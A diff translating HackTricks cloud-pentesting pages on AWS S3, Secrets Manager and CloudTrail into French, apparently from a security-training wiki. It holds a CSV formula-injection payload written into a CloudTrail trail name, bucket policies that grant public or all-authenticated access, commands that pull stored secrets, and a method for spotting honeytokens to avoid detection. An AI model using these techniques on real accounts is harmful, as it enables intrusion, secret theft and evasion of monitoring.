-  - The customer key is used to encrypt the data and the encrypted data is stored
-  - a salted HMAC value of the customer key is stored also for future key validation
-  - the customer key is deleted from memory
-- Decryption:
-  - The user send the customer key
-  - The key is validated against the HMAC value stored
-  - The customer provided key is then used to decrypt the data
+- Chiffrement :
+- L'utilisateur envoie les données de l'objet + clé client à S3
+- La clé client est utilisée pour chiffrer les données et les données chiffrées sont stockées
+- une valeur HMAC salée de la clé client est également stockée pour la validation future de la clé
+- la clé client est supprimée de la mémoire
+- Déchiffrement :
+- L'utilisateur envoie la clé client
+- La clé est validée par rapport à la valeur HMAC stockée
+- La clé fournie par le client est ensuite utilisée pour déchiffrer les données
 
 </details>
 
 <details>
 
-<summary><strong>Client-side encryption with KMS, CSE-KMS</strong></summary>
+<summary><strong>Chiffrement côté client avec KMS, CSE-KMS</strong></summary>
 
-Similarly to SSE-KMS, this also uses the key management service to generate your data encryption keys. However, this time KMS is called upon via the client not S3. The encryption then takes place client-side and the encrypted data is then sent to S3 to be stored.
+De manière similaire à SSE-KMS, cela utilise également le service de gestion des clés pour générer vos clés de chiffrement de données. Cependant, cette fois, KMS est appelé via le client et non S3. Le chiffrement a donc lieu côté client et les données chiffrées sont ensuite envoyées à S3 pour être stockées.
 
-- Encryption:
-  - Client request for a data key to KMS
-  - KMS returns the plaintext DEK and the encrypted DEK with the CMK
-  - Both keys are sent back
-  - The client then encrypts the data with the plaintext DEK and send to S3 the encrypted data + the encrypted DEK (which is saved as metadata of the encrypted data inside S3)
-- Decryption:
-  - The encrypted data with the encrypted DEK is sent to the client
-  - The client asks KMS to decrypt the encrypted key using the CMK and KMS sends back the plaintext DEK
-  - The client can now decrypt the encrypted data
+- Chiffrement :
+- Le client demande une clé de données à KMS
+- KMS renvoie le DEK en clair et le DEK chiffré avec le CMK
+- Les deux clés sont renvoyées
+- Le client chiffre ensuite les données avec le DEK en clair et envoie à S3 les données chiffrées + le DEK chiffré (qui est enregistré comme métadonnées des données chiffrées dans S3)
+- Déchiffrement :
+- Les données chiffrées avec le DEK chiffré sont envoyées au client
+- Le client demande à KMS de déchiffrer la clé chiffrée en utilisant le CMK et KMS renvoie le DEK en clair
+- Le client peut maintenant déchiffrer les données chiffrées
 
 </details>
 
 <details>
 
-<summary><strong>Client-side encryption with customer provided keys, CSE-C</strong></summary>
+<summary><strong>Chiffrement côté client avec des clés fournies par le client, CSE-C</strong></summary>
 
-Using this mechanism, you are able to utilize your own provided keys and use an AWS-SDK client to encrypt your data before sending it to S3 for storage.
+En utilisant ce mécanisme, vous pouvez utiliser vos propres clés fournies et utiliser un client AWS-SDK pour chiffrer vos données avant de les envoyer à S3 pour stockage.
 
-- Encryption:
-  - The client generates a DEK and encrypts the plaintext data
-  - Then, using it's own custom CMK it encrypts the DEK
-  - submit the encrypted data + encrypted DEK to S3 where it's stored
-- Decryption:
-  - S3 sends the encrypted data and DEK
-  - As the client already has the CMK used to encrypt the DEK, it decrypts the DEK and then uses the plaintext DEK to decrypt the data
+- Chiffrement :
+- Le client génère un DEK et chiffre les données en clair
+- Ensuite, en utilisant son propre CMK personnalisé, il chiffre le DEK
+- soumet les données chiffrées + DEK chiffré à S3 où elles sont stockées
+- Déchiffrement :
+- S3 envoie les données chiffrées et le DEK
+- Comme le client a déjà le CMK utilisé pour chiffrer le DEK, il déchiffre le DEK et utilise ensuite le DEK en clair pour déchiffrer les données
 
 </details>
 
-### **Enumeration**
-
-One of the traditional main ways of compromising AWS orgs start by compromising buckets publicly accesible. **You can find** [**public buckets enumerators in this page**](../aws-unauthenticated-enum-access/#s3-buckets)**.**
+### **Énumération**
 
+L'un des moyens traditionnels de compromettre les organisations AWS commence par compromettre les buckets accessibles publiquement. **Vous pouvez trouver** [**des énumérateurs de buckets publics sur cette page**](../aws-unauthenticated-enum-access/#s3-buckets)**.**
 ```bash
 # Get buckets ACLs
 aws s3api get-bucket-acl --bucket <bucket-name>
@@ -184,28 +177,28 @@ aws s3api list-objects --bucket BUCKETNAME --output json --query "[sum(Contents[
 aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
 ##JSON policy example
 {
-  "Id": "Policy1568185116930",
-  "Version": "2012-10-17",
-  "Statement": [
-  {
-      "Sid": "Stmt1568184932403",
-      "Action": [
-        "s3:ListBucket"
-      ],
-      "Effect": "Allow",
-      "Resource": "arn:aws:s3:::welcome",
-      "Principal": "*"
-  },
-  {
-    "Sid": "Stmt1568185007451",
-    "Action": [
-      "s3:GetObject"
-    ],
-    "Effect": "Allow",
-    "Resource": "arn:aws:s3:::welcome/*",
-    "Principal": "*"
-  }
-  ]
+"Id": "Policy1568185116930",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Stmt1568184932403",
+"Action": [
+"s3:ListBucket"
+],
+"Effect": "Allow",
+"Resource": "arn:aws:s3:::welcome",
+"Principal": "*"
+},
+{
+"Sid": "Stmt1568185007451",
+"Action": [
+"s3:GetObject"
+],
+"Effect": "Allow",
+"Resource": "arn:aws:s3:::welcome/*",
+"Principal": "*"
+}
+]
 }
 
 # Update bucket ACL
@@ -218,41 +211,40 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
 ##JSON ACL example
 ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
 {
-  "Owner": {
-    "DisplayName": "<DisplayName>",
-    "ID": "<ID>"
-  },
-  "Grants": [
-  {
-    "Grantee": {
-      "Type": "Group",
-      "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
-    },
-  "Permission": "FULL_CONTROL"
-  }
-  ]
+"Owner": {
+"DisplayName": "<DisplayName>",
+"ID": "<ID>"
+},
+"Grants": [
+{
+"Grantee": {
+"Type": "Group",
+"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
+},
+"Permission": "FULL_CONTROL"
+}
+]
 }
 ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
 ```
-
 ### dual-stack <a href="#dual-stack-endpoints-description" id="dual-stack-endpoints-description"></a>
 
-You can access an S3 bucket through a dual-stack endpoint by using a virtual hosted-style or a path-style endpoint name. These are useful to access S3 through IPv6.
+Vous pouvez accéder à un bucket S3 via un point de terminaison dual-stack en utilisant un nom de point de terminaison de style hébergé virtuel ou de style chemin. Ceux-ci sont utiles pour accéder à S3 via IPv6.
 
-Dual-stack endpoints use the following syntax:
+Les points de terminaison dual-stack utilisent la syntaxe suivante :
 
 - `bucketname.s3.dualstack.aws-region.amazonaws.com`
 - `s3.dualstack.aws-region.amazonaws.com/bucketname`
 
 ### Privesc
 
-In the following page you can check how to **abuse S3 permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions S3 pour escalader les privilèges** :
 
 {{#ref}}
 ../aws-privilege-escalation/aws-s3-privesc.md
 {{#endref}}
 
-### Unauthenticated Access
+### Accès non authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
@@ -264,32 +256,31 @@ In the following page you can check how to **abuse S3 permissions to escalate pr
 ../aws-post-exploitation/aws-s3-post-exploitation.md
 {{#endref}}
 
-### Persistence
+### Persistance
 
 {{#ref}}
 ../aws-persistence/aws-s3-persistence.md
 {{#endref}}
 
-## Other S3 vulns
+## Autres vulnérabilités S3
 
-### S3 HTTP Cache Poisoning Issue <a href="#heading-s3-http-desync-cache-poisoning-issue" id="heading-s3-http-desync-cache-poisoning-issue"></a>
+### Problème de Poisoning du Cache HTTP S3 <a href="#heading-s3-http-desync-cache-poisoning-issue" id="heading-s3-http-desync-cache-poisoning-issue"></a>
 
-[**According to this research**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) it was possible to cache the response of an arbitrary bucket as if it belonged to a different one. This could have been abused to change for example javascript file responses and compromise arbitrary pages using S3 to store static code.
+[**Selon cette recherche**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue), il était possible de mettre en cache la réponse d'un bucket arbitraire comme si elle appartenait à un autre. Cela aurait pu être abusé pour changer, par exemple, les réponses de fichiers javascript et compromettre des pages arbitraires utilisant S3 pour stocker du code statique.
 
 ## Amazon Athena
 
-Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service (Amazon **S3**) **using** standard **SQL**.
+Amazon Athena est un service de requête interactif qui facilite l'**analyse des données** directement dans Amazon Simple Storage Service (Amazon **S3**) **en utilisant** le **SQL** standard.
 
-You need to **prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from the logs, so you can query it.
+Vous devez **préparer une table de base de données relationnelle** avec le format du contenu qui va apparaître dans les buckets S3 surveillés. Ensuite, Amazon Athena pourra peupler la base de données à partir des journaux, afin que vous puissiez l'interroger.
 
-Amazon Athena supports the **ability to query S3 data that is already encrypted** and if configured to do so, **Athena can also encrypt the results of the query which can then be stored in S3**.
+Amazon Athena prend en charge la **capacité d'interroger des données S3 qui sont déjà chiffrées** et, si configuré pour le faire, **Athena peut également chiffrer les résultats de la requête qui peuvent ensuite être stockés dans S3**.
 
-**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted** with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**.
+**Ce chiffrement des résultats est indépendant des données S3 sous-jacentes interrogées**, ce qui signifie que même si les données S3 ne sont pas chiffrées, les résultats interrogés peuvent être chiffrés. Quelques points à garder à l'esprit sont qu'Amazon Athena ne prend en charge que les données qui ont été **chiffrées** avec les **méthodes de chiffrement S3 suivantes**, **SSE-S3, SSE-KMS et CSE-KMS**.
 
-SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query.
-
-### Enumeration
+SSE-C et CSE-E ne sont pas pris en charge. En outre, il est important de comprendre qu'Amazon Athena n'exécutera des requêtes que sur **des objets chiffrés qui se trouvent dans la même région que la requête elle-même**. Si vous devez interroger des données S3 qui ont été chiffrées à l'aide de KMS, des permissions spécifiques sont requises par l'utilisateur Athena pour leur permettre d'effectuer la requête.
 
+### Énumération
 ```bash
 # Get catalogs
 aws athena list-data-catalogs
@@ -311,14 +302,9 @@ aws athena get-prepared-statement --statement-name <name> --work-group <wg-name>
 # Run query
 aws athena start-query-execution --query-string <query>
 ```
-
-## References
+## Références
 
 - [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3)
 - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
index a50eaa24f..743911013 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md
@@ -4,22 +4,21 @@
 
 ## AWS Secrets Manager
 
-AWS Secrets Manager is designed to **eliminate the use of hard-coded secrets in applications by replacing them with an API call**. This service serves as a **centralized repository for all your secrets**, ensuring they are managed uniformly across all applications.
+AWS Secrets Manager est conçu pour **éliminer l'utilisation de secrets codés en dur dans les applications en les remplaçant par un appel API**. Ce service sert de **dépôt centralisé pour tous vos secrets**, garantissant qu'ils sont gérés de manière uniforme à travers toutes les applications.
 
-The manager simplifies the **process of rotating secrets**, significantly improving the security posture of sensitive data like database credentials. Additionally, secrets like API keys can be automatically rotated with the integration of lambda functions.
+Le gestionnaire simplifie le **processus de rotation des secrets**, améliorant considérablement la posture de sécurité des données sensibles comme les identifiants de base de données. De plus, des secrets comme les clés API peuvent être automatiquement tournés avec l'intégration de fonctions lambda.
 
-The access to secrets is tightly controlled through detailed IAM identity-based policies and resource-based policies.
+L'accès aux secrets est strictement contrôlé par des politiques détaillées basées sur l'identité IAM et des politiques basées sur les ressources.
 
-For granting access to secrets to a user from a different AWS account, it's necessary to:
+Pour accorder l'accès aux secrets à un utilisateur d'un autre compte AWS, il est nécessaire de :
 
-1. Authorize the user to access the secret.
-2. Grant permission to the user to decrypt the secret using KMS.
-3. Modify the Key policy to allow the external user to utilize it.
+1. Autoriser l'utilisateur à accéder au secret.
+2. Accorder la permission à l'utilisateur de déchiffrer le secret en utilisant KMS.
+3. Modifier la politique de clé pour permettre à l'utilisateur externe de l'utiliser.
 
-**AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.**
+**AWS Secrets Manager s'intègre avec AWS KMS pour chiffrer vos secrets au sein d'AWS Secrets Manager.**
 
 ### **Enumeration**
-
 ```bash
 aws secretsmanager list-secrets #Get metadata of all secrets
 aws secretsmanager list-secret-version-ids --secret-id <secret_name> # Get versions
@@ -28,7 +27,6 @@ aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
 aws secretsmanager get-secret-value --secret-id <secret_name> --version-id <version-id> # Get value of a different version
 aws secretsmanager get-resource-policy --secret-id --secret-id <secret_name>
 ```
-
 ### Privesc
 
 {{#ref}}
@@ -41,14 +39,10 @@ aws secretsmanager get-resource-policy --secret-id --secret-id <secret_name>
 ../aws-post-exploitation/aws-secrets-manager-post-exploitation.md
 {{#endref}}
 
-### Persistence
+### Persistance
 
 {{#ref}}
 ../aws-persistence/aws-secrets-manager-persistence.md
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md
index 8348ff098..0d1b03f10 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md
@@ -1,6 +1 @@
-# AWS - Security & Detection Services
-
-
-
-
-
+# AWS - Services de Sécurité et de Détection
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index 780f52f6e..029db3b81 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -4,111 +4,108 @@
 
 ## **CloudTrail**
 
-AWS CloudTrail **records and monitors activity within your AWS environment**. It captures detailed **event logs**, including who did what, when, and from where, for all interactions with AWS resources. This provides an audit trail of changes and actions, aiding in security analysis, compliance auditing, and resource change tracking. CloudTrail is essential for understanding user and resource behavior, enhancing security postures, and ensuring regulatory compliance.
+AWS CloudTrail **enregistre et surveille l'activité au sein de votre environnement AWS**. Il capture des **journaux d'événements** détaillés, y compris qui a fait quoi, quand et d'où, pour toutes les interactions avec les ressources AWS. Cela fournit une piste de vérification des changements et des actions, aidant à l'analyse de sécurité, à l'audit de conformité et au suivi des changements de ressources. CloudTrail est essentiel pour comprendre le comportement des utilisateurs et des ressources, améliorer les postures de sécurité et garantir la conformité réglementaire.
 
-Each logged event contains:
+Chaque événement enregistré contient :
 
-- The name of the called API: `eventName`
-- The called service: `eventSource`
-- The time: `eventTime`
-- The IP address: `SourceIPAddress`
-- The agent method: `userAgent`. Examples:
-  - Signing.amazonaws.com - From AWS Management Console
-  - console.amazonaws.com - Root user of the account
-  - lambda.amazonaws.com - AWS Lambda
-- The request parameters: `requestParameters`
-- The response elements: `responseElements`
+- Le nom de l'API appelée : `eventName`
+- Le service appelé : `eventSource`
+- L'heure : `eventTime`
+- L'adresse IP : `SourceIPAddress`
+- La méthode de l'agent : `userAgent`. Exemples :
+- Signing.amazonaws.com - Depuis la console de gestion AWS
+- console.amazonaws.com - Utilisateur root du compte
+- lambda.amazonaws.com - AWS Lambda
+- Les paramètres de la requête : `requestParameters`
+- Les éléments de la réponse : `responseElements`
 
-Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\
-CloudTrails logs can be **aggregated across accounts and across regions.**\
-CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.\
-When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events.
+Les événements sont écrits dans un nouveau fichier journal **environ toutes les 5 minutes dans un fichier JSON**, ils sont conservés par CloudTrail et enfin, les fichiers journaux sont **livrés à S3 environ 15 minutes après**.\
+Les journaux de CloudTrail peuvent être **agrégés à travers les comptes et les régions.**\
+CloudTrail permet d'utiliser **l'intégrité des fichiers journaux afin de pouvoir vérifier que vos fichiers journaux sont restés inchangés** depuis que CloudTrail vous les a livrés. Il crée un hachage SHA-256 des journaux à l'intérieur d'un fichier de résumé. Un hachage sha-256 des nouveaux journaux est créé chaque heure.\
+Lors de la création d'un Trail, les sélecteurs d'événements vous permettront d'indiquer le trail à enregistrer : événements de gestion, de données ou d'informations.
 
-Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S3) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys.
+Les journaux sont sauvegardés dans un bucket S3. Par défaut, le chiffrement côté serveur est utilisé (SSE-S3) donc AWS déchiffrera le contenu pour les personnes qui y ont accès, mais pour une sécurité supplémentaire, vous pouvez utiliser SSE avec KMS et vos propres clés.
 
-The logs are stored in a **S3 bucket with this name format**:
+Les journaux sont stockés dans un **bucket S3 avec ce format de nom** :
 
 - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`**
-- Being the BucketName: **`aws-cloudtrail-logs-<accountid>-<random>`**
-- Example: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
+- Le BucketName étant : **`aws-cloudtrail-logs-<accountid>-<random>`**
+- Exemple : **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`**
 
-Inside each folder each log will have a **name following this format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
+À l'intérieur de chaque dossier, chaque journal aura un **nom suivant ce format** : **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`**
 
-Log File Naming Convention
+Convention de nommage des fichiers journaux
 
 ![](<../../../../images/image (122).png>)
 
-Moreover, **digest files (to check file integrity)** will be inside the **same bucket** in:
+De plus, **les fichiers de résumé (pour vérifier l'intégrité des fichiers)** seront à l'intérieur du **même bucket** dans :
 
 ![](<../../../../images/image (195).png>)
 
-### Aggregate Logs from Multiple Accounts
+### Agréger les journaux de plusieurs comptes
 
-- Create a Trial in the AWS account where you want the log files to be delivered to
-- Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access
-- Create a new Trail in the other AWS accounts and select to use the created bucket in step 1
+- Créez un Trail dans le compte AWS où vous souhaitez que les fichiers journaux soient livrés
+- Appliquez des autorisations au bucket S3 de destination permettant l'accès inter-comptes pour CloudTrail et autorisez chaque compte AWS qui a besoin d'accès
+- Créez un nouveau Trail dans les autres comptes AWS et sélectionnez d'utiliser le bucket créé à l'étape 1
 
-However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account.
+Cependant, même si vous pouvez sauvegarder tous les journaux dans le même bucket S3, vous ne pouvez pas agréger les journaux CloudTrail de plusieurs comptes dans des journaux CloudWatch appartenant à un seul compte AWS.
 
 > [!CAUTION]
-> Remember that an account can have **different Trails** from CloudTrail **enabled** storing the same (or different) logs in different buckets.
+> Rappelez-vous qu'un compte peut avoir **différents Trails** de CloudTrail **activés** stockant les mêmes (ou différents) journaux dans différents buckets.
 
-### Cloudtrail from all org accounts into 1
+### CloudTrail de tous les comptes d'organisation en 1
 
-When creating a CloudTrail, it's possible to indicate to get activate cloudtrail for all the accounts in the org and get the logs into just 1 bucket:
+Lors de la création d'un CloudTrail, il est possible d'indiquer d'activer CloudTrail pour tous les comptes de l'organisation et de récupérer les journaux dans un seul bucket :
 
 <figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
 
-This way you can easily configure CloudTrail in all the regions of all the accounts and centralize the logs in 1 account (that you should protect).
+De cette manière, vous pouvez facilement configurer CloudTrail dans toutes les régions de tous les comptes et centraliser les journaux dans 1 compte (que vous devez protéger).
 
-### Log Files Checking
-
-You can check that the logs haven't been altered by running
+### Vérification des fichiers journaux
 
+Vous pouvez vérifier que les journaux n'ont pas été altérés en exécutant
 ```javascript
 aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
 ```
-
 ### Logs to CloudWatch
 
-**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\
-Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to:
+**CloudTrail peut automatiquement envoyer des journaux à CloudWatch afin que vous puissiez définir des alertes qui vous avertissent lorsque des activités suspectes sont effectuées.**\
+Notez que pour permettre à CloudTrail d'envoyer les journaux à CloudWatch, un **rôle** doit être créé pour autoriser cette action. Si possible, il est recommandé d'utiliser le rôle par défaut d'AWS pour effectuer ces actions. Ce rôle permettra à CloudTrail de :
 
-- CreateLogStream: This allows to create a CloudWatch Logs log streams
-- PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream
+- CreateLogStream : Cela permet de créer des flux de journaux CloudWatch
+- PutLogEvents : Livrer les journaux CloudTrail au flux de journaux CloudWatch
 
 ### Event History
 
-CloudTrail Event History allows you to inspect in a table the logs that have been recorded:
+L'historique des événements CloudTrail vous permet d'inspecter dans un tableau les journaux qui ont été enregistrés :
 
 ![](<../../../../images/image (89).png>)
 
 ### Insights
 
-**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever.
+**CloudTrail Insights** analyse automatiquement les événements de gestion d'écriture des pistes CloudTrail et vous **alerte** sur une **activité inhabituelle**. Par exemple, s'il y a une augmentation des événements `TerminateInstance` qui diffère des bases établies, vous le verrez comme un événement Insight. Ces événements facilitent **la recherche et la réponse à une activité API inhabituelle** comme jamais auparavant.
 
-The insights are stored in the same bucket as the CloudTrail logs in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
+Les insights sont stockés dans le même bucket que les journaux CloudTrail dans : `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
 
 ### Security
 
-| CloudTrail Log File Integrity        | <ul><li>Validate if logs have been tampered with (modified or deleted)</li><li><p>Uses digest files (create hash for each file)</p><ul><li>SHA-256 hashing</li><li>SHA-256 with RSA for digital signing</li><li>private key owned by Amazon</li></ul></li><li>Takes 1 hour to create a digest file (done on the hour every hour)</li></ul> |
-| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
-| Stop unauthorized access             | <ul><li><p>Use IAM policies and S3 bucket policies</p><ul><li>security team —> admin access</li><li>auditors —> read only access</li></ul></li><li>Use SSE-S3/SSE-KMS to encrypt the logs</li></ul>                                                                                                                                        |
-| Prevent log files from being deleted | <ul><li>Restrict delete access with IAM and bucket policies</li><li>Configure S3 MFA delete</li><li>Validate with Log File Validation</li></ul>                                                                                                                                                                                            |
+| Intégrité des fichiers journaux CloudTrail | <ul><li>Valider si les journaux ont été altérés (modifiés ou supprimés)</li><li><p>Utilise des fichiers de résumé (crée un hachage pour chaque fichier)</p><ul><li>Hachage SHA-256</li><li>SHA-256 avec RSA pour la signature numérique</li><li>clé privée détenue par Amazon</li></ul></li><li>Prend 1 heure pour créer un fichier de résumé (fait à l'heure chaque heure)</li></ul> |
+| ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| Arrêter l'accès non autorisé               | <ul><li><p>Utiliser des politiques IAM et des politiques de bucket S3</p><ul><li>équipe de sécurité —> accès administrateur</li><li>auditeurs —> accès en lecture seule</li></ul></li><li>Utiliser SSE-S3/SSE-KMS pour chiffrer les journaux</li></ul>                                                                                                                                        |
+| Prévenir la suppression des fichiers journaux | <ul><li>Restreindre l'accès à la suppression avec des politiques IAM et des politiques de bucket</li><li>Configurer la suppression MFA S3</li><li>Valider avec la validation des fichiers journaux</li></ul>                                                                                                                                                                                            |
 
 ## Access Advisor
 
-AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its insights**. CloudTrail captures a history of AWS API calls and related events made in an AWS account. Access Advisor utilizes this data to **show when services were last accessed**. By analyzing CloudTrail logs, Access Advisor can determine which AWS services an IAM user or role has accessed and when that access occurred. This helps AWS administrators make informed decisions about **refining permissions**, as they can identify services that haven't been accessed for extended periods and potentially reduce overly broad permissions based on real usage patterns.
+AWS Access Advisor s'appuie sur les 400 derniers jours de journaux **CloudTrail AWS pour rassembler ses insights**. CloudTrail capture un historique des appels API AWS et des événements connexes effectués dans un compte AWS. Access Advisor utilise ces données pour **montrer quand les services ont été accédés pour la dernière fois**. En analysant les journaux CloudTrail, Access Advisor peut déterminer quels services AWS un utilisateur ou un rôle IAM a accédés et quand cet accès a eu lieu. Cela aide les administrateurs AWS à prendre des décisions éclairées sur **l'affinement des autorisations**, car ils peuvent identifier les services qui n'ont pas été accédés pendant de longues périodes et potentiellement réduire des autorisations trop larges en fonction des modèles d'utilisation réels.
 
 > [!TIP]
-> Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them
+> Par conséquent, Access Advisor informe sur **les autorisations inutiles accordées aux utilisateurs** afin que l'administrateur puisse les supprimer
 
 <figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>
 
 ## Actions
 
 ### Enumeration
-
 ```bash
 # Get trails info
 aws cloudtrail list-trails
@@ -125,125 +122,113 @@ aws cloudtrail list-event-data-stores
 aws cloudtrail list-queries --event-data-store <data-source>
 aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>
 ```
+### **Injection CSV**
 
-### **CSV Injection**
-
-It's possible to perform a CVS injection inside CloudTrail that will execute arbitrary code if the logs are exported in CSV and open with Excel.\
-The following code will generate log entry with a bad Trail name containing the payload:
-
+Il est possible d'effectuer une injection CSV dans CloudTrail qui exécutera du code arbitraire si les journaux sont exportés en CSV et ouverts avec Excel.\
+Le code suivant générera une entrée de journal avec un mauvais nom de Trail contenant la charge utile :
 ```python
 import boto3
 payload = "=cmd|'/C calc'|''"
 client = boto3.client('cloudtrail')
 response = client.create_trail(
-	Name=payload,
-	S3BucketName="random"
+Name=payload,
+S3BucketName="random"
 )
 print(response)
 ```
-
-For more information about CSV Injections check the page:
+Pour plus d'informations sur les injections CSV, consultez la page :
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/formula-injection
 {{#endref}}
 
-For more information about this specific technique check [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
+Pour plus d'informations sur cette technique spécifique, consultez [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
 
-## **Bypass Detection**
+## **Contourner la Détection**
 
-### HoneyTokens **bypass**
+### HoneyTokens **contournement**
 
-Honeyokens are created to **detect exfiltration of sensitive information**. In case of AWS, they are **AWS keys whose use is monitored**, if something triggers an action with that key, then someone must have stolen that key.
+Les Honeytokens sont créés pour **détecter l'exfiltration d'informations sensibles**. Dans le cas d'AWS, ce sont des **clés AWS dont l'utilisation est surveillée**. Si quelque chose déclenche une action avec cette clé, alors quelqu'un doit avoir volé cette clé.
 
-However, Honeytokens like the ones created by [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) are either using recognizable account name or using the same AWS account ID for all their customers. Therefore, if you can get the account name and/or account ID without making Cloudtrail create any log, **you could know if the key is a honeytoken or not**.
+Cependant, les Honeytokens comme ceux créés par [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) utilisent soit un nom de compte reconnaissable, soit le même ID de compte AWS pour tous leurs clients. Par conséquent, si vous pouvez obtenir le nom du compte et/ou l'ID du compte sans faire créer de journal par Cloudtrail, **vous pourriez savoir si la clé est un honeytoken ou non**.
 
